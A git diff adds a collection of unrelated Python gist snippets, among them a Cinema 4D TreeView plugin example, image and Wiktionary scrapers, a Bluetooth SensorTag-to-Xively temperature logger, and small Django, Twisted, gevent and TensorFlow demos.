+			if j==y: #set to 510 for short test run
+				l1=0
+			
+
+	
+source.save("japanify.png")
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/hard-gists/632e39a9b4dda391fe54/._snippet.py b/hard-gists/632e39a9b4dda391fe54/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/632e39a9b4dda391fe54/._snippet.py differ
diff --git a/hard-gists/632e39a9b4dda391fe54/snippet.py b/hard-gists/632e39a9b4dda391fe54/snippet.py
new file mode 100644
index 00000000..7521e699
--- /dev/null
+++ b/hard-gists/632e39a9b4dda391fe54/snippet.py
@@ -0,0 +1,464 @@
+# Example of using the Cinema 4D Tree View GUI in Python.
+
+import c4d
+import os
+import weakref
+
+# Be sure to use a unique ID obtained from http://www.plugincafe.com/.
+PLUGIN_ID = 9912399
+PLUGIN_NAME = "Python TreeView Example"
+PLUGIN_HELP = "Show the current scene hierarchy in a tree."
+
+# Bit for the Checkbox in the GUI. Kind of a bad practice to use this
+# but reduces complexity for this example.
+BIT_CHECKED = 256
+S
+# TreeView Column IDs.
+ID_CHECKBOX = 1
+ID_ICON = 2
+ID_TREEVIEW = 3
+
+
+class Hierarchy(c4d.gui.TreeViewFunctions):
+
+  def __init__(self, dlg):
+    # Avoid a cyclic reference.
+    self._dlg = weakref.ref(dlg)
+
+  def GetFirst(self, root, userdata):
+    """
+    Return the first element in the hierarchy. This can be any Python
+    object. With Cinema 4D nodes, it is easy to implement, but it could
+    as well be a Python integer which you can use as an index in a list.
+
+    Returns:
+      (any or None): The first element in the hierarchy or None.
+    """
+
+    doc = c4d.documents.GetActiveDocument()
+    return doc.GetFirstObject()
+
+  def GetDown(self, root, userdata, obj):
+    """
+    Returns:
+      (any or None): The child element going from *obj* or None.
+    """
+
+    return obj.GetDown()
+
+  def GetNext(self, root, userdata, obj):
+    """
+    Returns:
+      (any or None): The next element going from *obj* or None.
+    """
+
+    return obj.GetNext()
+
+  def GetPred(self, root, userdata, obj):
+    """
+    Returns:
+      (any or None): The previous element going from *obj* or None.
+    """
+
+    return obj.GetPred()
+
+  def GetName(self, root, userdata, obj):
+    """
+    Returns:
+      (str): The name to display for *obj*.
+    """
+
+    return obj.GetName()
+
+  def Open(self, root, userdata, obj, opened):
+    """
+    Called when the user opens or closes the children of *obj* in
+    the Tree View.
+    """
+
+    doc = c4d.documents.GetActiveDocument()
+    doc.StartUndo()
+    doc.AddUndo(c4d.UNDOTYPE_CHANGE_SELECTION, obj)
+
+    if opened:
+      obj.SetBit(c4d.BIT_OFOLD)
+    else:
+      obj.DelBit(c4d.BIT_OFOLD)
+    doc.EndUndo()
+    c4d.EventAdd()
+
+  def IsOpened(self, root, userdata, obj):
+    """
+    Returns:
+      (bool): True if *obj* is opened (expaneded), False if it is
+        closed (collapsed).
+    """
+
+    return obj.GetBit(c4d.BIT_OFOLD)
+
+  def DeletePressed(self, root, userdata):
+    """
+    Called when the user right-click Deletes or presses the Delete key.
+    Should delete all selected elements.
+    """
+
+    def delete_recursive(op):
+      if op is None: return
+      if op.GetBit(c4d.BIT_ACTIVE) == True:
+        doc.AddUndo(c4d.UNDOTYPE_DELETE, op)
+        op.Remove()
+        return
+      for child in op.GetChildren():
+        delete_recursive(child)
+
+    doc = c4d.documents.GetActiveDocument()
+    doc.StartUndo()
+    for obj in doc.GetObjects():
+      delete_recursive(obj)
+    doc.EndUndo()
+    c4d.EventAdd()
+
+  def Select(self, root, userdata, obj, mode):
+    """
+    Called when the user selects an element.
+    """
+
+    doc = c4d.documents.GetActiveDocument()
+    doc.StartUndo()
+
+    def deselect_recursive(op):
+      if op is None: return
+      doc.AddUndo(c4d.UNDOTYPE_CHANGE_SMALL, op)
+      op.DelBit(c4d.BIT_ACTIVE)
+      for child in op.GetChildren():
+        deselect_recursive(child)
+
+    if mode == c4d.SELECTION_SUB:
+      doc.AddUndo(c4d.UNDOTYPE_CHANGE_SMALL, obj)
+      obj.DelBit(c4d.BIT_ACTIVE)
+    else:
+      if mode == c4d.SELECTION_NEW:
+        deselect_recursive(obj.GetDocument().GetFirstObject())
+
+      doc.AddUndo(c4d.UNDOTYPE_CHANGE_SMALL, obj)
+      obj.SetBit(c4d.BIT_ACTIVE)
+
+    doc.EndUndo()
+    c4d.EventAdd()
+
+  def IsSelected(self, root, userdata, obj):
+    """
+    Returns:
+      (bool): True if *obj* is selected, False if not.
+    """
+
+    return obj.GetBit(c4d.BIT_ACTIVE)
+
+  def DoubleClick(self, root, userdata, obj, col, mouseinfo):
+    """
+    Called when the user double-clicks on an entry in the TreeView.
+
+    Returns:
+      (bool): True if the double-click was handled, False if the
+        default action should kick in. The default action will invoke
+        the rename procedure for the object, causing `SetName()` to be
+        called.
+    """
+
+    c4d.gui.MessageDialog("You clicked on " + obj.GetName())
+    return True
+
+  def IsResizeColAllowed(self, root, userdata, lColID):
+    return True
+
+  def IsTristate(self, root, userdata):
+    return False
+
+  def GetDragType(self, root, userdata, obj):
+    """
+    Returns:
+      (int): The drag datatype.
+    """
+
+    return c4d.DRAGTYPE_ATOMARRAY
+
+  def DragStart(self, root, userdata, obj):
+    """
+    Returns:
+      (int): Bitmask specifying options for the drag, whether it is
+        allowed, etc.
+    """
+
+    return c4d.TREEVIEW_DRAGSTART_ALLOW | c4d.TREEVIEW_DRAGSTART_SELECT
+
+  def GetId(self, root, userdata, obj):
+    """
+    Return a unique ID for the element in the TreeView.
+    """
+
+    return obj.GetUniqueID()
+
+  def SetName(self, root, userdata, obj, name):
+    """
+    Called when the user renames the element. `DoubleClick()` must return
+    False for this to work.
+    """
+
+    doc.StartUndo()
+    doc.AddUndo(c4d.UNDOTYPE_CHANGE_SMALL, obj)
+    doc.EndUndo()
+    obj.SetName(name)
+    c4d.EventAdd()
+
+  def DrawCell(self, root, userdata, obj, col, drawinfo, bgColor):
+    """
+    Called for a cell with layout type `c4d.LV_USER` or `c4d.LV_USERTREE`
+    to draw the contents of a cell.
+    """
+
+    if col == ID_ICON:
+      icon = obj.GetIcon()
+      drawinfo["frame"].DrawBitmap(
+        icon["bmp"], drawinfo["xpos"], drawinfo["ypos"],
+        16, 16, icon["x"], icon["y"], icon["w"], icon["h"], c4d.BMP_ALLOWALPHA)
+
+  def SetCheck(self, root, userdata, obj, column, checked, msg):
+    """
+    Called when the user clicks on a checkbox for an object in a
+    `c4d.LV_CHECKBOX` column.
+    """
+
+    if checked:
+      obj.SetBit(BIT_CHECKED)
+    else:
+      obj.DelBit(BIT_CHECKED)
+
+    def checked_collect(op):
+      if op is None: return
+      elif isinstance(op, c4d.documents.BaseDocument):
+        for obj in op.GetObjects():
+          for x in checked_collect(obj):
+            yield x
+      else:
+        if op.GetBit(BIT_CHECKED):
+          yield op
+        for child in op.GetChildren():
+          for x in checked_collect(child):
+            yield x
+
+    status = ', '.join(obj.GetName() for obj in checked_collect(obj.GetDocument()))
+    self._dlg().SetString(1001, "Checked: " + status)
+    self._dlg()._treegui.Refresh()
+
+  def IsChecked(self, root, userdata, obj, column):
+    """
+    Returns:
+      (int): Status of the checkbox in the specified *column* for *obj*.
+    """
+
+    val = obj.GetBit(BIT_CHECKED)
+    if val == True:
+      return c4d.LV_CHECKBOX_CHECKED | c4d.LV_CHECKBOX_ENABLED
+    else:
+      return c4d.LV_CHECKBOX_ENABLED
+
+  def HeaderClick(self, root, userdata, column, channel, is_double_click):
+    """
+    Called when the TreeView header was clicked.
+
+    Returns:
+      (bool): True if the event was handled, False if not.
+    """
+
+    c4d.gui.MessageDialog("You clicked on the '%i' header." % (column))
+    return True
+
+  def AcceptDragObject(self, root, userdata, obj, dragtype, dragobject):
+    """
+    Called when a drag & drop operation hovers over the TreeView to check
+    if the drag can be accepted.
+
+    Returns:
+      (int, bool)
+    """
+
+    if dragtype != c4d.DRAGTYPE_ATOMARRAY:
+      return 0
+
+    return c4d.INSERT_BEFORE | c4d.INSERT_AFTER | c4d.INSERT_UNDER, True
+
+  def GenerateDragArray(self, root, userdata, obj):
+    """
+    Return:
+      (list of c4d.BaseList2D): Generate a list of objects that can be
+        dragged from the TreeView for the `c4d.DRAGTYPE_ATOMARRAY` type.
+    """
+
+    if obj.GetBit(c4d.BIT_ACTIVE):
+      return [obj, ]
+
+  def InsertObject(self, root, userdata, obj, dragtype, dragobject, insertmode, bCopy):
+    """
+    Called when a drag is dropped on the TreeView.
+    """
+
+    if dragtype != c4d.DRAGTYPE_ATOMARRAY:
+      return # Shouldnt happen, we catched that in AcceptDragObject
+
+    for op in dragobject:
+      op.Remove()
+      if insertmode == c4d.INSERT_BEFORE:
+        op.InsertBefore(obj)
+      elif insertmode == c4d.INSERT_AFTER:
+        op.InsertAfter(obj)
+      elif insertmode == c4d.INSERT_UNDER:
+        op.InsertUnder(obj)
+    return
+
+  def GetColumnWidth(self, root, userdata, obj, col, area):
+    return 80 # All have the same initial width
+
+  def IsMoveColAllowed(self, root, userdata, lColID):
+    # The user is allowed to move all columns.
+    # TREEVIEW_MOVE_COLUMN must be set in the container of AddCustomGui.
+    return True
+
+  def GetColors(self, root, userdata, obj, pNormal, pSelected):
+    """
+    Retrieve colors for the TreeView elements.
+
+    Returns:
+      (int or c4d.Vector, int or c4d.Vector): The colors for the normal
+        and selected state of the element.
+    """
+
+    usecolor = obj[c4d.ID_BASEOBJECT_USECOLOR]
+    if usecolor == c4d.ID_BASEOBJECT_USECOLOR_ALWAYS:
+      pNormal = obj[c4d.ID_BASEOBJECT_COLOR]
+    return pNormal, pSelected
+
+  # Context menu entry for "Hello World!"
+  ID_HELLOWORLD = 355435345
+
+  def CreateContextMenu(self, root, userdata, obj, lColumn, bc):
+    """
+    User clicked with the right mouse button on an entry so
+    we can here enhance the menu
+    """
+
+    bc.SetString(self.ID_HELLOWORLD, "Hello World!")
+
+  def ContextMenuCall(self, root, userdata, obj, lColumn, lCommand):
+    """
+    The user executes an entry of the context menu.
+
+    Returns:
+      (bool): True if the event was handled, False if not.
+    """
+
+    if lCommand == self.ID_HELLOWORLD:
+      obj.SetName("Hello World!")
+      c4d.EventAdd()
+      return True
+    return False
+
+  def SelectionChanged(self, root, userdata):
+    """
+    Called when the selected elements in the TreeView changed.
+    """
+
+    print "The selection changed"
+
+  def Scrolled(self, root, userdata, h, v, x, y):
+    """
+    Called when the TreeView is scrolled.
+    """
+
+    self._dlg().SetString(1002, ("H: %i V: %i X: %i Y: %i" % (h, v, x, y)))
+
+
+class TestDialog(c4d.gui.GeDialog):
+
+  _treegui = None
+
+  def CreateLayout(self):
+    # Create the TreeView GUI.
+    customgui = c4d.BaseContainer()
+    customgui.SetBool(c4d.TREEVIEW_BORDER, True)
+    customgui.SetBool(c4d.TREEVIEW_HAS_HEADER, True)
+    customgui.SetBool(c4d.TREEVIEW_HIDE_LINES, False)
+    customgui.SetBool(c4d.TREEVIEW_MOVE_COLUMN, True)
+    customgui.SetBool(c4d.TREEVIEW_RESIZE_HEADER, True)
+    customgui.SetBool(c4d.TREEVIEW_FIXED_LAYOUT, True)
+    customgui.SetBool(c4d.TREEVIEW_ALTERNATE_BG, True)
+    self._treegui = self.AddCustomGui(
+      1000, c4d.CUSTOMGUI_TREEVIEW, "", c4d.BFH_SCALEFIT | c4d.BFV_SCALEFIT,
+      300, 300, customgui)
+    if not self._treegui:
+      print "[ERROR]: Could not create TreeView"
+      return False
+
+    self.AddMultiLineEditText(1001, c4d.BFH_SCALEFIT | c4d.BFV_SCALE | c4d.BFV_BOTTOM, 0, 40)
+    self.AddEditText(1002, c4d.BFH_SCALEFIT, 0, 25)
+    return True
+
+  def CoreMessage(self, id, msg):
+    if id == c4d.EVMSG_CHANGE:
+      # Update the treeview on each change in the document.
+      self._treegui.Refresh()
+    return True
+
+  def InitValues(self):
+    # Initialize the column layout for the TreeView.
+    layout = c4d.BaseContainer()
+    layout.SetLong(ID_CHECKBOX, c4d.LV_CHECKBOX)
+    layout.SetLong(ID_ICON, c4d.LV_USER)
+    layout.SetLong(ID_TREEVIEW, c4d.LV_TREE)
+    self._treegui.SetLayout(3, layout)
+
+    # Set the header titles.
+    self._treegui.SetHeaderText(ID_CHECKBOX, "Check")
+    self._treegui.SetHeaderText(ID_ICON, "Icon")
+    self._treegui.SetHeaderText(ID_TREEVIEW, "Name")
+    self._treegui.Refresh()
+
+    # Don't need to store the hierarchy, due to SetRoot()
+    data_model = Hierarchy(self)
+    self._treegui.SetRoot(None, data_model, None)
+
+    self.SetString(1002, "Scroll values")
+    return True
+
+
+class MenuCommand(c4d.plugins.CommandData):
+
+  dialog = None
+
+  def Execute(self, doc):
+    """
+    Just create the dialog when the user clicked on the entry
+    in the plugins menu to open it
+    """
+
+    if self.dialog is None:
+       self.dialog = TestDialog()
+    return self.dialog.Open(
+      c4d.DLG_TYPE_ASYNC, PLUGIN_ID, defaulth=600, defaultw=600)
+
+  def RestoreLayout(self, sec_ref):
+    """
+    Same for this method. Just allocate it when the dialog is needed.
+    """
+
+    if self.dialog is None:
+       self.dialog = TestDialog()
+    return self.dialog.Restore(PLUGIN_ID, secret=sec_ref)
+
+
+def main():
+  c4d.plugins.RegisterCommandPlugin(
+    PLUGIN_ID, PLUGIN_NAME, 0, None, PLUGIN_HELP, MenuCommand())
+
+
+if __name__ == "__main__":
+  main()
diff --git a/hard-gists/6333547/._snippet.py b/hard-gists/6333547/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6333547/._snippet.py differ
diff --git a/hard-gists/6333547/snippet.py b/hard-gists/6333547/snippet.py
new file mode 100644
index 00000000..3a6c0723
--- /dev/null
+++ b/hard-gists/6333547/snippet.py
@@ -0,0 +1,190 @@
+#encoding: utf-8
+
+__author__ = 'Dodola'
+from lxml.html import parse
+from time import sleep,ctime
+import time
+import urllib.request
+import threading
+import contextlib
+import queue
+import os
+from urllib.parse import (
+    urlparse, urlsplit, urljoin, unwrap, quote, unquote,
+    splittype, splithost, splitport, splituser, splitpasswd,
+    splitattr, splitquery, splitvalue, splittag, to_bytes, urlunparse)
+
+BASEURL = "http://www.topit.me"
+ALBUMURL="http://www.topit.me/album/"
+ALBUMPERURL="http://www.topit.me/album/%s?p=%s"
+USERURL="http://www.topit.me/user/"
+USERPERURL="http://www.topit.me/user/%s?p=%s"
+
+def urlretrieve(url, filename=None, reporthook=None, data=None):
+
+    url_type, path = splittype(url)
+    
+    user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'
+    headers = { 'User-Agent' : user_agent }
+    req = urllib.request.Request(url, data,headers);
+    with contextlib.closing(urllib.request.urlopen(req)) as fp:
+        headers = fp.info()
+
+
+        if url_type == "file" and not filename:
+            return os.path.normpath(path), headers
+
+        # Handle temporary file setup.
+        if filename:
+            tfp = open(filename, 'wb')
+        else:
+            tfp = tempfile.NamedTemporaryFile(delete=False)
+            filename = tfp.name
+            _url_tempfiles.append(filename)
+
+        with tfp:
+            result = filename, headers
+            bs = 1024*8
+            size = -1
+            read = 0
+            blocknum = 0
+            if "content-length" in headers:
+                size = int(headers["Content-Length"])
+
+            if reporthook:
+                reporthook(blocknum, 0, size)
+
+            while True:
+                block = fp.read(bs)
+                if not block:
+                    break
+                read += len(block)
+                tfp.write(block)
+                blocknum += 1
+                if reporthook:
+                    reporthook(blocknum, len(block), size)
+
+    if size >= 0 and read < size:
+        raise ContentTooShortError(
+            "retrieval incomplete: got only %i out of %i bytes"
+            % (read, size), result)
+
+    return result
+
+def Download(path, pageUrl):
+    
+    #try:
+    spath = parse( pageUrl)
+    imageUrls = spath.xpath('//a[@id="item-tip"]')
+    imageUrl = imageUrls[0].attrib["href"]
+    print("正在下载%s\n"%imageUrl)
+    imageNames=imageUrl.rsplit('/')
+    imageName=imageNames[len(imageNames)-1]
+    urlretrieve(imageUrl, path+imageName)
+    print("保存成功:%s%s\n"%(path ,imageName))
+    #except Exception as err:
+    #    print("下载错误{0}\n".format(err))
+        
+
+
+def DownloadUser(path,userid):
+    pageUrl=USERURL+userid
+    tempdir="%s%s\\"%(path,time.strftime("%Y%m%d%H%M%S",time.localtime(time.time())))
+    print(tempdir)
+    os.mkdir(tempdir)
+    print(pageUrl)
+    spath=parse(pageUrl)
+    pagecounts=spath.xpath("id('pagination')/div/a")
+    print(pagecounts)
+    print("页面总数:%s"%(int(pagecounts[len(pagecounts)-2].text_content())))
+    if len(pagecounts)>1:
+        pagecount=int(pagecounts[len(pagecounts)-2].text_content())
+    else:
+        pagecount=2
+    for page in range(1,pagecount):
+        print("访问第%s页"%page)
+        DownloadPerUser(tempdir,userid,page)
+
+def DownloadPerUser(path,userid,page):
+    pageUrl=USERPERURL% (userid,page)
+    pageel=parse(pageUrl)
+    imgUrls=pageel.xpath("//a[starts-with(@href,'http://www.topit.me/item/')]/@href")
+    imgUrls=set(imgUrls)#去重
+    print("第%s页图片数%s"%(page,len(imgUrls)))
+    task_threads=[] #存储线程
+    count=1
+    for i in imgUrls:
+        t= threading.Thread(target=Download,args=(path,i))
+        #Download(path,i.attrib.get("href"))
+        count=count+1
+        task_threads.append(t)
+    for task in task_threads:
+        task.start()
+        task.join()#将线程改为1，过多线程会被封
+    for task in task_threads:
+        task.join() #等待所有线程结束
+    print("线程结束")
+
+
+def DownloadAlbum(path,albumId,page=1):
+    pageUrl=ALBUMURL+albumId
+    tempdir="%s%s\\"%(path,time.strftime("%Y%m%d%H%M%S",time.localtime(time.time())))
+    print(tempdir)
+    os.mkdir(tempdir)
+    print(pageUrl)
+    spath=parse(pageUrl)
+    pagecounts=spath.xpath("id('pagination')/div/a")
+    print(pagecounts)
+    print("页面总数:%s"%(int(pagecounts[len(pagecounts)-2].text_content())))
+    if len(pagecounts)>1:
+        pagecount=int(pagecounts[len(pagecounts)-2].text_content())
+    else:
+        pagecount=2
+    task_threads=[] #存储线程
+    for page in range(page,pagecount+1):
+        print("访问第%s页"%page)
+        t= threading.Thread(target=DownloadPerAlbum,args=(tempdir,albumId,page))
+        task_threads.append(t)
+        #DownloadPerAlbum(tempdir,albumId,page)
+        
+    for task in task_threads:
+        task.start()
+
+    for task in task_threads:
+        task.join() #等待所有线程结束
+  
+    
+
+def DownloadPerAlbum(path,albumid,page):
+    pageUrl=ALBUMPERURL% (albumid,page)
+    pageel=parse(pageUrl)
+    imgUrls=pageel.xpath("//a[starts-with(@href,'http://www.topit.me/album/%s/item/')]/@href"%albumid)
+    imgUrls=set(imgUrls)#去重
+    print("第%s页图片数%s"%(page,len(imgUrls)))
+    for i in imgUrls:
+        Download(path,i)
+##    task_threads=[] #存储线程
+##    count=1
+##    for i in imgUrls:
+##        t= threading.Thread(target=Download,args=(path,i))
+##        count=count+1
+##        task_threads.append(t)
+##    for task in task_threads:
+##        task.start()
+##       # task.join()#将线程改为1，过多线程会被封
+##    for task in task_threads:
+##        task.join() #等待所有线程结束
+##    print("线程结束")
+    
+##    for i in imgUrls:
+##        print("===add job====")
+##        work_manager.add_job(Download,[path,i]);
+
+def testMe(args):
+    print(args)
+    time.sleep(1)
+     
+DownloadAlbum("l:\\topit.me\\","1310049")
+
+#DownloadUser("l:\\topit.me\\","965126")
+    
diff --git a/hard-gists/6334787/._snippet.py b/hard-gists/6334787/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6334787/._snippet.py differ
diff --git a/hard-gists/6334787/snippet.py b/hard-gists/6334787/snippet.py
new file mode 100644
index 00000000..f050585e
--- /dev/null
+++ b/hard-gists/6334787/snippet.py
@@ -0,0 +1,89 @@
+#!/usr/bin/env python
+# Fetch temperature from sensortag by bluetooth low energy and feed it up into xively.
+# Source code is derived from https://github.com/msaunby/ble-sensor-pi
+# usage: python sensortag2xively.py {mac address}
+
+import xively
+import datetime
+import sys
+import time
+import pytz
+import pexpect
+import xml.etree.ElementTree as etree
+
+XIVELY_API_KEY = "Your API Key here"
+XIVELY_FEED_ID = 00000000
+tz = pytz.timezone('Asia/Tokyo')
+
+def floatfromhex(h):
+    t = float.fromhex(h)
+    if t > float.fromhex('7FFF'):
+        t = -(float.fromhex('FFFF') - t)
+        pass
+    return t
+
+def calcTmpTarget(objT, ambT):
+    m_tmpAmb = ambT/128.0
+    Vobj2 = objT * 0.00000015625
+    Tdie2 = m_tmpAmb + 273.15
+    S0 = 6.4E-14            # Calibration factor
+    a1 = 1.75E-3
+    a2 = -1.678E-5
+    b0 = -2.94E-5
+    b1 = -5.7E-7
+    b2 = 4.63E-9
+    c2 = 13.4
+    Tref = 298.15
+    S = S0*(1+a1*(Tdie2 - Tref)+a2*pow((Tdie2 - Tref),2))
+    Vos = b0 + b1*(Tdie2 - Tref) + b2*pow((Tdie2 - Tref),2)
+    fObj = (Vobj2 - Vos) + c2*pow((Vobj2 - Vos),2)
+    tObj = pow(pow(Tdie2,4) + (fObj/S),.25)
+    tObj = (tObj - 273.15)
+    return tObj
+
+def connect(bdaddr):
+    tool = pexpect.spawn('gatttool -b ' + bdaddr + ' --interactive')
+    tool.expect('\[LE\]>')
+    print "Preparing to connect. You might need to press the side button..."
+    tool.sendline('connect')
+    # test for success of connect
+    tool.expect('\[CON\].*>')
+    tool.sendline('char-write-cmd 0x29 01')
+    tool.expect('\[LE\]>')
+    tool.sendline('char-read-hnd 0x25')
+    tool.expect('descriptor: .*') 
+    return tool
+
+def read_data(tool):
+    tool.sendline('char-read-hnd 0x25')
+    tool.expect('descriptor: .*') 
+    rval = tool.after.split()
+    #print rval
+    objT = floatfromhex(rval[2] + rval[1])
+    ambT = floatfromhex(rval[4] + rval[3])
+    tmpr = calcTmpTarget(objT, ambT)
+    return float("%.1f" % tmpr)
+
+def main(bdaddr='90:59:AF:0A:A8:A4'):
+    api = xively.XivelyAPIClient(XIVELY_API_KEY)
+    feed = api.feeds.get(XIVELY_FEED_ID)
+    tool = connect(bdaddr)
+    while True:
+        try:
+            tmpr = read_data(tool)
+            now = datetime.datetime.now(tz=tz)
+            feed.datastreams = [
+                xively.Datastream(id='tmpr', current_value=tmpr, at=now),
+            ]
+            feed.update()
+            print(now, tmpr)
+        except:
+            print "Error:", sys.exc_info()[0]
+        time.sleep(60)
+
+if __name__ == '__main__':
+    try:
+        args = sys.argv[1:]
+        main(*args)
+    except KeyboardInterrupt:
+        pass
\ No newline at end of file
diff --git a/hard-gists/6337361/._snippet.py b/hard-gists/6337361/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6337361/._snippet.py differ
diff --git a/hard-gists/6337361/snippet.py b/hard-gists/6337361/snippet.py
new file mode 100644
index 00000000..ae00c490
--- /dev/null
+++ b/hard-gists/6337361/snippet.py
@@ -0,0 +1,28 @@
+from django.contrib.sites.models import Site
+
+
+class Object(object):
+    def __init__(self, model, key):
+        self.model = model
+        self.key = key
+
+    def __call__(self, *args, **kwargs):
+        params = {}
+        params[self.key] = args[0]
+        return self.model.objects.get(**params)
+
+class Repository(object):
+    def __init__(self, model):
+        self.model = model
+
+    def get_by_param(self, key):
+        return Object(self.model, key)
+
+    def __getattr__(self, key):
+        _key = key.replace('get_by_', '')
+        return self.get_by_param(_key)
+
+
+SiteRepository = Repository(Site)
+
+print SiteRepository.get_by_id(1)
diff --git a/hard-gists/6366854/._snippet.py b/hard-gists/6366854/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6366854/._snippet.py differ
diff --git a/hard-gists/6366854/snippet.py b/hard-gists/6366854/snippet.py
new file mode 100644
index 00000000..48a33322
--- /dev/null
+++ b/hard-gists/6366854/snippet.py
@@ -0,0 +1,55 @@
+from twisted.internet import reactor, defer
+from twisted.web.http import HTTPChannel
+from twisted.application import internet, service
+from twisted.web.server import Site, NOT_DONE_YET
+from twisted.web.resource import Resource
+
+class SlowResource(Resource):
+    isLeaf = True
+    waiting_requests = []
+
+    def notify_no_more_waiting(self):
+        if not self.waiting_requests:
+            return defer.succeed(None)
+        return defer.gatherResults(self.waiting_requests, consumeErrors=True) \
+                .addBoth(lambda ign: None)
+
+    def write_result(self, request):
+        request.write('{}')
+        request.finish()
+
+    def render_GET(self, request):
+        reactor.callLater(5, self.write_result, request)
+        d = request.channel.notifyConnectionLost()
+        self.waiting_requests.append(d)
+        d.addBoth(lambda ign: self.waiting_requests.remove(d))
+        return NOT_DONE_YET
+
+
+class MyProtocol(HTTPChannel):
+    _connection_lost = defer.succeed(None)
+
+    def notifyConnectionLost(self):
+        return self._connection_lost
+
+    def connectionMade(self):
+        HTTPChannel.connectionMade(self)
+        self._connection_lost = defer.Deferred()
+
+    def connectionLost(self, reason):
+        HTTPChannel.connectionLost(self, reason)
+        self._connection_lost.callback(None)
+
+slow_resource = SlowResource()
+site = Site(slow_resource)
+site.protocol = MyProtocol
+application = service.Application("MyApp")
+server = internet.TCPServer(8080, site)
+server.setServiceParent(application)
+
+@defer.inlineCallbacks
+def graceful_shutdown():
+    yield server.stopService()
+    yield slow_resource.notify_no_more_waiting()
+
+reactor.addSystemEventTrigger('before', 'shutdown', graceful_shutdown)
\ No newline at end of file
diff --git a/hard-gists/6374514/._snippet.py b/hard-gists/6374514/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6374514/._snippet.py differ
diff --git a/hard-gists/6374514/snippet.py b/hard-gists/6374514/snippet.py
new file mode 100644
index 00000000..8e873e14
--- /dev/null
+++ b/hard-gists/6374514/snippet.py
@@ -0,0 +1,19 @@
+import gevent
+
+from gevent import httplib
+
+def fetcher():
+    print "fetcher: Fetching..."
+    conn = httplib.HTTPConnection("www.google.com")
+    conn.request("GET", "/")
+    res = conn.getresponse()
+    output = res.read()
+    print "fether: Received %s bytes" % len(output)
+
+print "main: Spawning..."
+g = gevent.spawn(fetcher)
+print "main: Spawned."
+gevent.sleep(0)
+print "main: Sleeped."
+gevent.joinall([g])
+print "main: Joined."
\ No newline at end of file
diff --git a/hard-gists/638aca3fc4314290af59110d0602f86e/._snippet.py b/hard-gists/638aca3fc4314290af59110d0602f86e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/638aca3fc4314290af59110d0602f86e/._snippet.py differ
diff --git a/hard-gists/638aca3fc4314290af59110d0602f86e/snippet.py b/hard-gists/638aca3fc4314290af59110d0602f86e/snippet.py
new file mode 100644
index 00000000..35e39aa3
--- /dev/null
+++ b/hard-gists/638aca3fc4314290af59110d0602f86e/snippet.py
@@ -0,0 +1,84 @@
+#!/usr/bin/python3.5
+import concurrent.futures
+import logging
+import re
+import urllib.parse
+
+import requests
+
+logging.basicConfig(level=logging.INFO)
+
+WIKTIONARY_URL = 'https://en.wiktionary.org/wiki/'
+_IPA_REGEX = re.compile('IPA<[\s\w<>=\"-:?@.;()%!\[\]|]+?>key</a>\)</sup>:[^>]+>([^<]+)<')
+_WORD_LIST_REGEX = re.compile('li><a href="([^"]+)" title="([^"]+)"')  # Probably want to use a DOM parser for this
+
+# TODO Consider using the offline dump from wiktionary/using the wiktionary API
+# TODO see this stackoverflow: http://stackoverflow.com/questions/2770547/how-to-retrieve-wiktionary-word-content
+
+
+def list_ipa_for_word(url):
+    """! get list of the individual word and their ipa.
+    """
+    return _IPA_REGEX.findall(scrape_url(url))
+
+
+def scrape_words(url):
+    """! Get the words and the url.
+
+    TODO urlencode if the words can only be able to make the url, save memory!!
+    """
+    return _WORD_LIST_REGEX.findall(scrape_url('{}{}'.format(WIKTIONARY_URL, url)))  # ('/wiki/zhvishem', 'zhvishem')
+
+
+def scrape_url(url):
+    """
+    TODO https://en.wiktionary.org/wiki/baba#Albanian
+    scrap only the bookmark if present
+    """
+    if not url.startswith(WIKTIONARY_URL):
+        url = urllib.parse.urljoin(WIKTIONARY_URL, url)
+    logging.debug('Retrieving: <{}>'.format(url))
+    return requests.get(url).text
+
+
+def _local_word_list(maxwords=None):
+    # We can use the wikimedia dump from this webpage instead
+    # https://dumps.wikimedia.org/enwiktionary/latest/
+    with open('/usr/share/dict/american-english', 'r') as word_dictionary:
+        for index, word in enumerate(word_dictionary):
+            yield word.strip()
+            if index == maxwords:
+                return
+
+
+def _word_list(language):
+    return (word for url, word in scrape_words(language))
+
+
+def serially_download_words(language):
+    logging.info('Serially downloading word list')
+    for word in _word_list(language):
+        logging.info('{} found: {}'.format(word, scrape_words(word)))
+    logging.info('Finished serially downloading word list')
+
+
+def concurrently_download_words(language):
+    logging.info('Concurrently downloading word list')
+    with concurrent.futures.ThreadPoolExecutor() as executor:
+        futures_to_words = {executor.submit(scrape_words, words): words for words in _word_list(language)}
+        for future in concurrent.futures.as_completed(futures_to_words):
+            word = futures_to_words[future]
+            logging.info('Parsing: <{}>'.format(word))
+            try:
+                word_data = future.result()
+                logging.info('<{}> found: {}'.format(word, word_data))
+            except Exception as exc:
+                logging.exception('{!r} generated an exception: {!s}'.format(word, exc))
+            else:
+                logging.info('Finished parsing: <{}>'.format(word))
+    logging.info('***Finished Parsing all words***')
+
+
+if __name__ == '__main__':
+    # serially_download_words()
+    concurrently_download_words(language='Index:Albanian')
diff --git a/hard-gists/639576c25693ca4890457efa5f67d103/._snippet.py b/hard-gists/639576c25693ca4890457efa5f67d103/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/639576c25693ca4890457efa5f67d103/._snippet.py differ
diff --git a/hard-gists/639576c25693ca4890457efa5f67d103/snippet.py b/hard-gists/639576c25693ca4890457efa5f67d103/snippet.py
new file mode 100644
index 00000000..28447f9b
--- /dev/null
+++ b/hard-gists/639576c25693ca4890457efa5f67d103/snippet.py
@@ -0,0 +1,100 @@
+# Implementation of a rotating buffer on the GPU of size 2.
+import threading
+import tensorflow as tf
+from tensorflow.python.client import timeline
+import numpy as np
+import time
+
+params = {
+    'batch_size': 128,
